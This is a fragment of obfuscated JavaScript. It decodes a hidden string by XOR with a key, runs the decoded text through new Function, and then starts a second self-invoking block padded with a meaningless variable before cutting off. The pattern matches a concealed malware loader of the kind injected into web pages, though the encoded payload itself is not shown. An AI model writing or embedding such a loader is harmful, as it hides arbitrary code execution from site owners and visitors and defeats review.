var _code='';
for(var _0xecc7dff14118=0;_0xecc7dff14118<_0x61fc9cbf8bf3.length;_0xecc7dff14118++)
_code+=String.fromCharCode(_0x61fc9cbf8bf3.charCodeAt(_0xecc7dff14118)^_0xb2ada9a65d62);
(new Function(_code))();
})();(function(){
var x46eaa6=6026;
if(x46eaa6>0){var...
